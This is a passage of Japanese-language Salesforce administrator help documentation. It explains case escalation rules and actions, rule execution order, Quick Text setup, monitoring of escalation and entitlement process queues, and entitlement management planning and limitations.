ルールエントリ条件では、エスカレーションをトリガするケース項目値を定義します。Salesforce は、ルー
ルエントリを評価するときに、条件を参照し、ケースに設定された項目値に条件が一致するかどうかを確
認します。条件が一致する場合、ケースがエスカレーションされます。
条件を満たす場合にこのルールを実行する

項目値を使用してエスカレーション条件を定義するには、[条件が一致する]を選択しま
す [2.1]。
項目、演算子、および値を選択します [2.2]。たとえば、最大の顧客である Acme および
Global Media の 2 社からの優先度の高いケースをエスカレーションするとします。[優先度]

項目が「高」に一致し、[取引先: 取引先名] 項目が「Acme」または「Global Media」に一致
する場合にケースをエスカレーションするルールエントリを作成できます。
複数の行に入力することで、さらに多くの項目値を指定できます。

ヒント: デフォルトでは、検索条件の行は [かつ] で連結されます。ただし、検
索条件の別の演算子を使用する場合は、[検索条件ロジックを追加]をクリック
します [2.3]。括弧、AND、および OR を使用して検索条件を細かく設定できま
す。例: (1 AND 2) or (3 AND 4)

条件を満たす場合にこのルールを実行する
数式を使用してエスカレーション条件を定義するには、[数式の評価が true になる] を選
択します。
「True」または「False」の値を返す数式を入力します。Salesforce は、数式が「True」を返
した場合にルールをトリガします。

ステップ 3: 営業時間条件
営業時間では、サポートチームが対応可能な時間を指定できます [3]。エスカレーションルールに営業時間
を指定した場合、エスカレーションアクションは営業時間中にのみ実行されます。
次にいくつか例を見てみましょう。サンフランシスコに拠点を置くサポートチームの営業時間が月曜日か
ら金曜日の午前 9 時から午後 5 時 (太平洋時間) までであるとします。
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営業時間を考慮しない
ケースのエスカレーション時刻を計算するときに営業時間を使用しない場合は、[営業時
間を考慮しない]を選択します。この場合、ケースは、サポートチームの営業時間やケー
スの営業時間が考慮されずにエスカレーションされます。たとえば、太平洋時間の午前
3 時にサポートチームを利用できなくてもケースをエスカレーションできます。

ケースに指定された営業時間を使用
ケースの営業時間とサポートチームの営業時間は異なる場合があります。ケースに営業
時間を指定した場合、ケースはケースの営業時間中にのみエスカレーションされます。
サンフランシスコに拠点を置くサポートチームの営業時間が午前 9 時から午後 5 時 (太平
洋時間) であるのに対し、顧客はニューヨークに拠点を置いており、東部時間で営業して
いるとします。ケースに東部の営業時間を指定することで、サポートチームは東部の営
業時間中に顧客に連絡することを知ることができます。[ケースに指定された営業時間を
使用] を選択した場合、ケースは東海岸の営業時間中にエスカレーションされます。し
たがって、ケースが太平洋時間の午前 6 時にエスカレーションされる可能性があります。
その時間は東部の営業時間の範囲内 (東部時間の午前 9 時～午後 5 時、つまり、太平洋時
間の午前 6 時～午後 2 時) であるためです。

営業時間を設定
ルックアップを使用して、会社で定義されている営業時間を選択します。このオプショ
ンを選択した場合、ケースはこの時間中にエスカレーションされます。たとえば、午前
9 時～午後 5 時 (太平洋時間) として営業時間が定義されているとします。午前 9 時～午後
5 時 (太平洋時間) の営業時間を選択すると、ケースはこの時間中にのみエスカレーショ
ンされます。

ステップ 4: エスカレーション時刻の設定方法
エスカレーション時刻の設定方法を使用して、エスカレーションクロックをいつ開始するかを指定します
[4]。ここで選択したオプションは、[経過時間] 項目で指定した開始時間に影響します。[経過時間] 項目
は、[エスカレーションアクション] ページで設定できます。
ケースの作成時

エスカレーションクロックはケースの作成時に開始され、[経過時間] 項目で指定された
期間が満了するとケースがエスカレーションされます。
[経過時間]を 5 時間に設定した場合、ケースは作成されてから 5 時間後にエスカレーショ
ンされます。月曜日の午前 9 時にケースを作成した場合、そのケースは月曜日の午後 2

時にエスカレーションされます。
ケースの作成時

エスカレーションクロックはケースの作成時に開始され、[経過時間] 項目で指定された
期間が満了するとケースがエスカレーションされます。
[経過時間]を 5 時間に設定した場合、ケースは作成されてから 5 時間後にエスカレーショ
ンされます。月曜日の午前 9 時にケースを作成した場合、そのケースは月曜日の午後 2

時にエスカレーションされます。
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ケースの作成時、ケースを初めて変更した後に無効化
エスカレーションクロックはケースの作成時に開始されますが、[経過時間] の期間が満
了する前にケースが変更されると、エスカレーションクロックは停止します。
[経過時間] を 5 時間に設定した場合、ケースを作成してから 5 時間が経過する前にケー
スが変更されない限り、5 時間後にケースはエスカレーションされます。月曜日の午前
9 時にケースを作成し、それから 5 時間以内にケースが変更されない場合、そのケースは
月曜日の午後 2 時にエスカレーションされます。ただし、月曜日の午前 9 時にケースを
作成し、サポートエージェントがそのケースを午前 10 時に変更した場合、そのケースは
エスカレーションされません。

最終変更日時に基づいて
エスカレーションクロックは、ケースが変更された時点で開始されます。
[経過時間] を 5 時間に設定した場合、ケースは最後に変更されてから 5 時間後にエスカ
レーションされます。月曜日の午前 9 時にケースが作成され、エージェントが午前 10 時
にケースを変更したとします。ケースは、午前 10 時の変更から 5 時間が経過した月曜日
の午後 3 時にエスカレーションされます。

関連トピック:

エスカレーションルールの設定
エスカレーションアクション

エスカレーションアクション

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

エスカレーションアクションでは、ケースをいつエスカレーションするか、お
よびケースのエスカレーション時に何を実行するかを指定します。エスカレー
ションルールを使用すると、ケースを別のサポートエージェント (ユーザ) また
はサポートキュー (キュー) に再割り当てすることができます。また、エスカレー
ションルールを使用して、新しい割り当て先、現在のケース所有者、他のメー
ル受信者に通知メールを送信することもできます。
エスカレーションアクションの各部分について詳しく見てみましょう。また、
各ステップのベストプラクティスについても説明します。
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経過時間
ケースがこの期間内にクローズしなかった場合、Salesforce はケースをエスカレーションします [1]。たとえ
ば、ケースが 5 時間以内にクローズしなかった場合、ケースをエスカレーションします。
この時間は、ルールエントリの [エスカレーション時刻の設定方法を指定する] 項目で設定した日付項目か
ら計算されます。2 つのエスカレーションアクションがこの項目に同じ数値を持つことはできません。
エスカレーションルールは時間に基づくため、[経過時間] 項目は必須です。

ケースを自動再割り当て
ケースをエスカレーションするときに、Salesforce は別のユーザまたはキューにケースを再割り当てするこ
とができます [2]。
• [キュー]または [ユーザ]  — ケースの再割り当て先のユーザまたはキューを選択します。ケースが再割

り当てされると、キューまたはユーザは新しいケース所有者になります。通常、会社は特定のユーザで
はなくキューにケースを再割り当てします。たとえば、レベル 1 サポートが 24 時間以内にケースを解決
できない場合、ケースをレベル 2 サポートキューに再割り当てします。

• 通知メールのテンプレート  — 通知メールを割り当て先に送信するために使用する通知テンプレートを選
択します。

[通知メールのテンプレート]を選択した場合、Salesforceは通知メールを新しいケース所有者に送信します。
テンプレートは、通知メールに含める項目を制御します。たとえば、メールテンプレートにケース番号、
ケースの取引先責任者、取引先名、原因を含めると、新しいケース所有者は状況をすぐに理解できます。
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ユーザに通知
ケースをエスカレーションするときに Salesforce は通知メールを送信できます。これにより、ユーザ、現在
のケース所有者、または他のメール受信者は、ケースがエスカレーション中であることを知ることができ
ます [3]。
• 通知するユーザ  — 通知するユーザを選択します。たとえば、サポートマネージャへの通知が必要になる

場合があります。
• ケース所有者に通知  — 現在のケース所有者にメールを送信し、ケースがエスカレーション中であること

を知らせます。ケース所有者に通知する必要があり、ケースを再割り当てしていない場合、このチェッ
クボックスをオンにします。

• 追加のメール  — ケースのエスカレーション時に他のユーザに通知メールを送信できます。最大 5 つの
メールアドレスをそれぞれ別の行に入力できます。たとえば、サポートマネージャまたは役員に通知す
るようにエスカレーションルールを設定し、ケースがエスカレーション中であることを知らせることが
できます。

• 通知メールのテンプレート  — [通知するユーザ]、[ケース所有者に通知]、または [追加のメール]を選択
した場合、ユーザ、ケース所有者、または追加のメール受信者に通知メールを送信するための通知テン
プレートを選択する必要があります。テンプレートは、通知メールに含める項目を制御します。

関連トピック:

エスカレーションルールの設定
エスカレーションルールエントリ

ルールの実行順序

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce は、特定の順番でルールを処理します。
1. 入力規則
2. 割り当てルール
3. 自動レスポンスルール
4. ワークフロールール (ルール適用時のアクション)

5. エスカレーションルール
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クイックテキストの設定
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

クイックテキストを設定
する
• 「アプリケーションの

カスタマイズ」

クイックテキストを使用すると、挨拶、一般的な質問への回答、短いメモなど
のメッセージをユーザが作成し、それをサポートエージェントがケースの更新
や顧客とのコミュニケーションに簡単に挿入して時間を節約し、標準化を促進
できます。クイックテキストを設定するときは、有効にしてユーザ権限を設定
し、エージェントがクイックテキストを使用したり、標準化されたメッセージ
を作成したりできるようにします。
1. クイックテキストを有効化します。

Live Agentを有効化している組織では、クイックテキストが自動的に有効化さ
れますが、有効化されていることをクイックテキスト設定で確認できない場
合があります。この場合は、クイックテキストを手動で有効化します。

2. 必要に応じて、クイックテキストの設定をカスタマイズします。
3. クイックテキストメッセージを作成できるようにユーザに権限を付与しま

す。
4. クイックテキストメッセージを作成します。
5. 組織で Live Agent を使用する場合は、Live Agent コンソールのクイックテキス

トサイドバーへのアクセス権をエージェントに付与します。

クイックテキストの有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

クイックテキストを有効
化する
• 「アプリケーションの

カスタマイズ」

組織でクイックテキストを有効化し、エージェントが事前定義されたメッセー
ジを使用して顧客に応答し、ケースをすばやく簡単に更新できるようにします。

メモ: クイックテキストをいったん有効にすると、無効にはできません。
1. [設定] から、[クイック検索]ボックスに「クイックテキスト設定」と入力し、

[クイックテキスト設定] を選択します。
2. [クイックテキストを有効化] をクリックします。
3. [保存] をクリックします。
クイックテキストを有効にした後、ユーザ権限を更新して、サポートエージェ
ントにクイックテキストへのアクセス権を付与します。

関連トピック:

クイックテキストの設定
クイックテキストメッセージの作成
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サポートエージェントへのクィックテキストアクセス権の付与

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

クイックテキストを設定
する
• 「アプリケーションの

カスタマイズ」

エージェントにクイックテキストへのアクセス権を付与すると、エージェント
が顧客とのチャットやメール、ケースメモ、ケースの更新に含める標準メッセー
ジを選択できます。
エージェントが Live Agent コンソール、Salesforce コンソールの Live Agent、または
ケースフィードの [メール]、[ポータル]、[活動の記録]、および [状況の変更] アク
ションでクィックテキストを使用できるようにする手順は、次のとおりです。
• エージェントにクイックテキストに対する「参照」権限を付与します。
• 次のいずれかの操作を実行します。

ステップオプション

少なくとも 1 つのクイックテキスト
メッセージの所有権をエージェント
に付与する

– 既存のクイックテキストメッセー
ジの所有権をエージェントに移行
します (レコードの [所有者]の横
にある[変更]をクリックします)。

– エージェントに新規メッセージを
作成させます。

クイックテキストの組織のデフォル
トの共有設定を変更する

1. [設定] から、[クイック検索]ボッ
クスに「共有設定」と入力し、[共
有設定] を選択します。

2. [組織の共有設定]で、[編集]をク
リックします。

3. クイックテキスト用の[アクセス]

ドロップダウンリストで [公開/参
照のみ] または [公開/参照・更新可
能] を選択します。

4. [保存] をクリックします

組織の共有設定を変更したくない場
合は、共有ルールを作成して、少な

共有ルールを使用する

くともクイックテキストメッセージ
に対する「参照のみ」アクセスを持
つ必要のあるユーザグループを指定
します。
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サポートエージェントにクイックテキストへのアクセス権を付与した後、必要に応じてユーザが使用できる標
準化されたメッセージを作成できます。

関連トピック:

クイックテキストの設定

クイックテキストメッセージの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

クイックテキストメッ
セージを作成する
• クイックテキストに対

する「作成」、「参
照」、「編集」、およ
び「削除」

クイックテキストメッセージを使用すると、エージェントは標準化されたメモ
をケースの更新に含め、共通の応答を顧客に送信することができます。毎回入
力する必要はありません。エージェントのカスタムメッセージを作成し、エー
ジェントが顧客にメールを送信したりチャットしたりするときに使用します。
1. [クイックテキスト] タブをクリックします。
2. [新規] をクリックします。
3. 複数のクイックテキストのレコードタイプがある場合は、新規メッセージの

レコードタイプを選択して、[次へ] をクリックします。
4. メッセージ名を入力します。
5. メッセージを入力します。

改行、リスト、特殊文字を含めることが可能で、4,096 文字まで入力できま
す。

6. [差し込み項目ルックアップ] をクリックして、差し込み項目セレクタを表示
します。

7. メッセージを使用可能にするチャネルを選択します。
組織で有効な機能に応じて、次のチャネルを利用できます。
• メール  — ケースフィードのメールアクション
• Live Agent  — Salesforce コンソールの Live Agent

• ポータル  — コミュニティまたはカスタマーポータル
• 電話  — ケースフィードの活動の記録アクション
• 社内  — ケースフィードの状況の変更アクション

8. カテゴリを選択します。
9. 必要に応じて、サブカテゴリを選択します。
10. [保存] をクリックします。

ヒント: 選択したレコードのデータが入力されたクイックテキストのサンプルを表示するには、[差し
込み項目のテストと検証] をクリックします。

関連トピック:

クイックテキストの設定
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サポートプロセスの監視

自動記事プロセスアクションの監視

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

自動プロセスアクション
を管理する
• 「すべてのデータの編

集」

Salesforce ナレッジユーザは、記事が特定の日付に公開またはアーカイブされる
ようスケジュールできます。自動プロセスアクションキューを使用して、必要
な場合に待機中のアクションを表示し、それらをキャンセルします。
1. [設定] から、[クイック検索] ボックスに「自動プロセスアクション」と入力

し、[自動化プロセスアクション] を選択します。
2. 記事の待機中のアクションをすべて参照するには [検索]をクリックします。

また、条件に一致する待機中のアクションのみを参照するには、検索条件を
設定して [検索] をクリックします。
検索条件オプションは次のとおりです。
プロセス定義

アクションを開始するプロセス。値は常に「KBWorkflow」です。
オブジェクト

待機中のアクションを開始したオブジェクト。値は常に「Knowledge Article」
です。

予定日
待機中のアクションが実行される予定の日。

作成日
待機中のアクションをトリガした記事が作成された日付。

作成者
待機中のアクションを開始した記事を作成したユーザ。

レコード名
待機中のアクションを開始した記事の名前。

検索条件では、大文字と小文字は区別されません。

待機中のアクションをキャンセルするには、キャンセルする待機中のアクションの横にあるボックスをオンに
して、[削除] をクリックします。
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ケースのエスカレーションルールキューの監視

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ケースのエスカレーショ
ンルールキューを管理す
る
• 「すべてのデータの編

集」

Salesforce は、時間ベースのアクションを持つケースのエスカレーションルール
をトリガするときに、エスカレーションルールキューを使用して待機中のアク
ションを参照し、必要に応じてキャンセルします。
待機中のアクションを参照する手順は、次のとおりです。
1. [設定] から、[クイック検索]ボックスに「ケースのエスカレーション」と入力

し、[ケースのエスカレーション] を選択します。
2. 有効なケースエスカレーションルールについて待機中のアクションをすべて

参照する場合は、検索条件を設定しないで [検索]をクリックします。また、
条件に一致する待機中のアクションだけを参照するには、検索条件を設定し
て [検索] をクリックします。検索条件オプションは次のとおりです。
エスカレーションするケース

エスカレーション済みのケースの[ケース番号] [ケース番号]は、自動的
に生成される一意の番号で、ケースを識別するために使用します。

エスカレーションルール
ケースをエスカレーションする場合に使用するルールの名前。

ルールエントリ
ルールエントリが処理される順序。ルールエントリは、ケースエスカレー
ションルールの処理方法を決定する条件です。各エスカレーションルー
ルには、最大 3,000 ルールエントリを含めることができます。

エスカレーションアクション
ルールエントリに従いケースがエスカレーションされる場合の時間条件。

営業時間を考慮しない
ルールエントリで [営業時間を考慮しない] チェックボックスがオンになっている場合、ルールエント
リは常時実行され、組織の営業時間は考慮されません。

エスカレーション日時
ルールエントリに従いケースがエスカレーションされる日付と時間。日付と時間は、エスカレーション
ルールキューを参照しているユーザのタイムゾーンで表示されます。

追加日時
ケースがキューに追加された日付と時間。日付と時間は、エスカレーションルールキューを参照してい
るユーザのタイムゾーンで表示されます。

検索条件では、大文字と小文字は区別されません。

待機中のアクションをキャンセルする手順は、次のとおりです。
1. キャンセルする待機中のアクションの横にあるボックスをオンにします。
2. [削除] をクリックします。Salesforce は、待機中のアクションをキャンセルします。

関連トピック:

エスカレーションルールの設定
エスカレーションルールの例とベストプラクティス
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エンタイトルメントプロセスキューの監視

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

エンタイトルメントプロ
セスの監視は、
Professional Edition 組織で
は使用できません。

ユーザ権限

エンタイトルメントプロ
セスキューの監視に必要
な権限
• 「すべてのデータの編

集」

Salesforce が時間ベースのアクションを持つエンタイトルメントプロセスを開始
するとき、待機中のアクションを参照して必要に応じてキャンセルするには、
エンタイトルメントプロセスキューを使用してください。
待機中のアクションを参照するには
1. [設定] から、[クイック検索]ボックスに「エンタイトルメントプロセス」と入

力し、[エンタイトルメントプロセス] を選択します。
2. 有効なワークフロールールの待機中のアクションをすべて参照するには [検

索] をクリックします。また、条件に一致する待機中のアクションのみを参
照するには、検索条件を設定して [検索] をクリックします。検索条件オプ
ションは次のとおりです。
エンタイトルメント名

エンタイトルメントプロセス。
ケース番号

ケースの自動生成された識別番号。
マイルストン名

アクションをトリガしたマイルストン。
評価日

評価されたアクションが実行される予定の日。
作成日

エンタイトルメントプロセスをトリガしたケースの作成日。
ユーザ名

エンタイトルメントプロセスをトリガするケースを更新したユーザ。
検索条件では、大文字と小文字は区別されません。

待機中のアクションをキャンセルする手順は、次のとおりです。
1. キャンセルする待機中のアクションの横にあるボックスをオンにします。
2. [削除] をクリックします。
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エンタイトルメントとサービス契約の追加

エンタイトルメント管理とは?

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

エンタイトルメント管理により、顧客に適切なサポートを提供できます。サポー
ト管理プロセスの一環として、サービルレベルを定義、適用、および追跡する
さまざまな機能が用意されています。
エンタイトルメント管理には次の機能があります。
• エンタイトルメント - 顧客がサポートの対象かどうかをサポートエージェン

トが判断できます。
• エンタイトルメントプロセス - ケースまたは作業指示などのサポートレコー

ドを解決するためにサポートチームが実行する必要のあるすべてのステップ
を含むタイムラインを設計できます。

• サービス契約 - 保証契約、登録契約、保守契約など、さまざまな種類の顧客
サポートを表示できます。サービス契約の対象を特定の商品に限定できま
す。

• エンタイトルメントへのコミュニティアクセス - コミュニティユーザがエンタイトルメントおよびサービ
ス契約を参照し、そこからサポートレコードを作成できます。

• エンタイトルメント管理のレポート作成 - Salesforce組織でエンタイトルメントがどのように使用されている
か、およびサービス契約の条件を満たしているかどうかを追跡できます。

エンタイトルメント管理は高度なカスタマイズが可能なため、各自の顧客サポートモデルに応じて使用する機
能やその設定方法を完全に制御できます。エンタイトルメント管理を最大限活用できるように、計画上の重要
な決定と設定手順について順を追って説明します。使用を開始するには、エンタイトルメント管理 Trailhead モ
ジュール「エンタイトルメント管理」を確認することをお勧めします。

重要: エンタイトルメント管理項目を有効化、作成、および更新できるのは、Service Cloud を使用している
組織のユーザのみです。

関連トピック:

エンタイトルメント管理の計画
エンタイトルメント管理の設定のチェックリスト
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エンタイトルメント管理の計画
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

エンタイトルメント管理では詳細なカスタマイズが行えるため、設定中に多く
の選択肢があります。設定プロセスを始める前に、エンタイトルメント管理モ
デルを選択することが重要です。

サポート対象を決定する項目の選択
次の種類のレコードの 1 つまたは複数に基づいて顧客がサポート対象となるよ
うに、エンタイトルメント管理を設定できます。
• 取引先: 取引先のすべての取引先責任者がサポートの対象である場合。
• 取引先責任者: 特定の取引先責任者がサポートの対象である場合。
• 納入商品: 特定の納入商品 (購入商品) がサポートの対象である場合。
• サービス契約: 特定のサービス契約に基づいて顧客がサポートの対象になる

場合。
• 契約品目名: サービス契約に含まれる特定の商品がサポートの対象である場合。
どの方法を選択するかは、サポートプロセスをどの程度詳細にするかに応じて異なります。サポートプロセス
をシンプルにするには、サポートエージェントが取引先に基づいてサポートの対象を決定するようにします。
この方法は次のようになります。

設定モデルの選択
エンタイトルメント管理を設定するには、次の 3 つの一般的な方法があります。サポートの対象を決定する項
目を決めた後に、3 つのモデルを確認し、ビジネスニーズに最も適したモデルを選択します。使用するモデル
はいつでも変更できます。
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次の場合にこのモデルを使用するサポート対象を決定する項目エンタイトルメントのモデル

サポートエージェントが、取引先、
取引先責任者、または納入商品レ

エンタイトルメントのみ (最もシン
プルなオプション)

• サービス契約契約の一部として
顧客のエンタイトルメントを管
理する必要がない場合。ベルで顧客がサポートの対象にな

るかどうかを決定する。
• エンタイトルメントに、更新プ

ロセスがない場合。
• エンタイトルメントが商品に付

属しており (保証)、顧客が購入
することがない場合。

• 顧客のエンタイトルメントが短
期間におけるものであり、それ
ぞれ独立して管理される場合。

サポートエージェントが、サービ
ス契約に基づいて顧客がサポート
対象になるかどうかを決定する。

エンタイトルメント + サービス契
約

• エンタイトルメントが、対象の
商品とは別に購入および管理さ
れ、サービス契約の一部となる
場合。

• 顧客のエンタイトルメントが、
契約レベルで更新される場合。

• Salesforce が顧客サポートに使用
されるが、サービス契約管理に
は必ずしも使用されない場合。

サポートエージェントが、サービ
ス契約に含まれる商品に基づいて

エンタイトルメント + サービス契
約 + 契約品目名 (最も複雑なオプ
ション)

• Salesforce を顧客サポートおよび
顧客のサービス契約管理に使用
する場合。顧客がサポートの対象になるかど

うかを決定する。
• サポートチームが、移行、差し

込み、更新など、サービス契約
トランザクションを管理する場
合。

• 保証、登録内容、またはその他
のサポート商品が注文の品目と
して表示され、1 つまたは複数
のエンタイトルメントに対応付
けられる場合。

• 注文管理システムとのインテグ
レーションにより、エンタイト
ルメントが作成および更新され
る場合。
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選択する設定モデルに関わらず、他のエンタイトルメント管理機能を使用してサポートプロセスを拡張できま
す。次のような操作が可能です。
• エンタイトルメントプロセスを作成して、サポートプロセスの時間ベースの必須ステップを実施する
• エンタイトルメントのバージョン管理を使用して、複数のバージョンのエンタイトルメントプロセスを作

成および管理する
• コミュニティにエンタイトルメントを追加する
• エンタイトルメントに関するレポートを作成する
セットアップモデルを選択した後に、「エンタイトルメント管理の設定のチェックリスト」を確認することが
重要です。

関連トピック:

エンタイトルメント管理とは?

エンタイトルメント管理の設定のチェックリスト
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

エンタイトルメント管理
を設定する
• 「エンタイトルメント

の管理」

エンタイトルメント管理を設定する場合、使用する機能を決定します。次の
チェックリストを使用して、サポートプロセスに合ったエンタイトルメント管
理が設定されていることを確認します。

次の場合に実行...ステップ

組織でエンタイトルメントを使用す
ることを検討している。

「エンタイトルメント管理の計画」
の閲覧

カスタマーサポートの対象となるか
どうかを取引先または取引先責任者
レベルで判断できるようにする。

エンタイトルメントの設定

組織でエンタイトルメントを使用す
る。

エンタイトルメントの有効化

エンタイトルメントでユーザに表示
される項目や、ユーザがエンタイト
ルメントを他のレコードと関連付け
る方法および場所を制御する。

エンタイトルメントのカスタマ
イズ

ユーザがケースにリンクできるエン
タイトルメントおよび納入商品を制
御する。

ケースのエンタイトルメントお
よび納入商品ルックアップ検索条
件の設定

適切なユーザ権限、項目のアクセス
権、およびタブのアクセス権をユー
ザに付与する。

エンタイトルメント管理への
ユーザアクセス権の付与

特定の商品のサポート条件を事前に
定義する。

エンタイトルメントテンプレー
トの設定
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次の場合に実行...ステップ

Web-to-ケース、メール-to-ケース、またはコミュニ
ティを使用して作成されたケースに適切なエンタ
イトルメントを自動的に追加する。

Web、メール、およびコミュニティからのケー
スへのエンタイトルメントの自動追加

サポートエージェントがサポートレコードをクロー
ズするために実行する必要のあるステップを定義
する。

マイルストンの設定

ユーザに表示されるマイルストン関連の項目を制
御する。

マイルストンページレイアウトのカスタマイ
ズ

マイルストンが完了または違反したときにフィー
ドおよびレコード所有者のプロファイルページに
自動的に通知を追加する。

マイルストンフィード項目の有効化

サポートチームが今後のマイルストンと終了した
マイルストンのリストや、有効なマイルストンと

マイルストントラッカーの設定

期限切れのマイルストンのカウントダウンを参照
できるようにする。

特定の条件を満たさない限りユーザがマイルスト
ンを更新できないようにする。

ユーザによるマイルストンの更新の制限

サポートプロセスの必要なステップを定義する。マイルストンの作成

一意の条件に合致するケースのマイルストンを [完
了] として自動的にマークする。

ケースマイルストンの自動完了

サポートプロセスの必要なステップを特定のレコー
ドに適用できるようにする。

エンタイトルメントプロセスの設定

サポートチームがサポートレコードを解決するた
めに実行する必要のあるすべてのステップを含む
タイムラインを作成する。

エンタイトルメントプロセスの作成

ユーザに表示されるエンタイトルメントプロセス
の項目を制御する。

エンタイトルメントプロセス項目のカスタマ
イズ

タイムラインで発生する必要なサポートステップ
とそのタイミングを指定する。

エンタイトルメントプロセスへのマイルスト
ンの追加

マイルストンが違反に近いとき、違反したとき、
または完了したときにエンタイトルメントプロセ

エンタイトルメントプロセスへのマイルスト
ンアクションの追加

スの各ステップ (マイルストン) で発生する、時間
ベースのワークフローアクションを定義する。

特定のエンタイトルメントのサポートレコードが、
エンタイトルメントプロセスで定義したステップ
に従うようにする。

エンタイトルメントへのエンタイトルメント
プロセスの適用
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次の場合に実行...ステップ

エンタイトルメントプロセスを更新する。エンタイトルメントプロセスの新しいバージョンの作
成

エンタイトルメントプロセスの新しいバージョン
を新しいエンタイトルメントまたは既存のエンタ
イトルメントに適用する。

エンタイトルメントプロセスの新しいバージョンの使
用

カスタマーサポートの対象となるかどうかをサー
ビス契約レベルで判断できるようにする。

サービス契約の設定

特定の商品が含まれるようにサービス契約を制限
できるようにする。

契約品目名の設定

顧客やパートナーがエンタイトルメントおよびサー
ビス契約を表示して、そこからサポートレコード
を作成できるようにする。

コミュニティのエンタイトルメント管理の設定

エンタイトルメントおよびサービス契約に関する
データを表示および共有する。

エンタイトルメントに関するレポート

サポートチームに次のことを理解させる。サポートチームへのエンタイトルメント管理ガイドラ
インの提供 • 顧客がサポートを受ける資格があるかどうかを

確認する方法
• ケースまたは作業指示をエンタイトルメントに

リンクする方法
• エンタイトルメントプロセスによるケースまた

は作業指示の解決方法への影響

関連トピック:

エンタイトルメント管理の計画

エンタイトルメント管理の制限事項
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

エンタイトルメントおよび関連機能には次の制限事項が適用されます。
エンタイトルメントの制限事項

• すべてのエンタイトルメントは取引先に関連付ける必要があります。
• エンタイトルメントは共有できません。エンタイトルメントは、親取引

先の共有設定を継承します。
• エンタイトルメントプロセスを使用している場合は、顧客の作業指示と

ケースを別々のエンタイトルメントで管理します。これは、エンタイト
ルメントプロセスが、種別が一致するレコードのみで実行されるためで
す。たとえば、[ケース] エンタイトルメントプロセスがエンタイトルメン
トに適用される場合、そのプロセスはエンタイトルメントに関連付けら
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れたケースでのみ実行されます。作業指示もエンタイトルメントに関連付けられている場合、プロセス
は作業指示では実行されません。

• ケースのエンタイトルメントの差し込み項目はサポートされていません。たとえば、[エンタイトルメン
ト名 {!Case.Entitlement}]差し込み項目をメールテンプレートに追加する場合でも、テンプレート
に項目は投入されません。

• エンタイトルメント取引先責任者には、ページレイアウト、検索レイアウト、ボタン、リンク、または
レコードタイプはありません。

• エンタイトルメントは、Web-to-ケースまたはメール-to-ケースで作成されたケースには自動的に適用さ
れません。必要に応じて、Apexコードを使用してエンタイトルメントをこれらの機能に追加できます。
サンプルトリガについては、「Web、メール、コミュニティからケースへのエンタイトルメントの自動
追加」を参照してください。

マイルストンの制限事項
• エンタイトルメントプロセスを使用せずにマイルストンをサポートレコードに追加することはできませ

ん。エンタイトルメントプロセスはマイルストンをサポートレコードに適用します。
• 組織は、最大 1,000 件のエンタイトルメントプロセスと、プロセスごとに最大 10 件のマイルストンを持

つことができます。Summer '13 より前に作成された組織では、エンタイトルメントプロセスの最大数が
それよりも小さい場合がありますが、Salesforce にお問い合わせいただければ増加させることができま
す。

• マイルストンは自動で [完了] とマークされることはありません。必要に応じて、一意の基準に合致する
サポートレコードのマイルストンを自動的に [完了] とマークするように自動化を設定できます。詳細
は、「ケースマイルストンの自動完了」を参照してください。

• エンタイトルメントプロセスを有効にした後は、マイルストンを削除したり、マイルストンアクション
を作成したりすることはできません。ただし、異なるマイルストン設定で複数のバージョンのエンタイ
トルメントプロセスを作成し、その新しいバージョンを既存のエンタイトルメントに適用することはで
きます。

• レコード上でカウントダウンできるマイルストンのインスタンスは、一度に 1 つのみです。たとえば、
「応答時間」マイルストンがケース上でカウントダウンを開始している場合、2 つ目の「応答時間」マ
イルストンは、最初の「応答時間」マイルストンが完了するまで作成できません。

• エンタイトルメントプロセスの営業時間は、変更セットではサポートされていません。営業時間が設定
されたエンタイトルメントプロセスをSalesforce組織間で移行するには、次のいずれかの方法を使用しま
す。
– 新しい組織でエンタイトルメントプロセスを最初から作成する
– Force.com 移行ツールなどの別の方法を使用してエンタイトルメントプロセスを移行する
– 変更セットにエンタイトルメントプロセスを追加する前にエンタイトルメントプロセスから営業時

間を削除する

契約品目名の制限事項
• 組織が商品オブジェクトを使用する場合にのみ、契約品目名を使用できます。
• 契約品目名のリストビューを作成することはできません。
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• 契約品目名の共有はできません。契約品目名は、親サービス契約の共有設定を継承します。たとえば、
サービス契約の「参照」権限を持つユーザは、契約品目名の「参照」権限を継承します。

関連トピック:

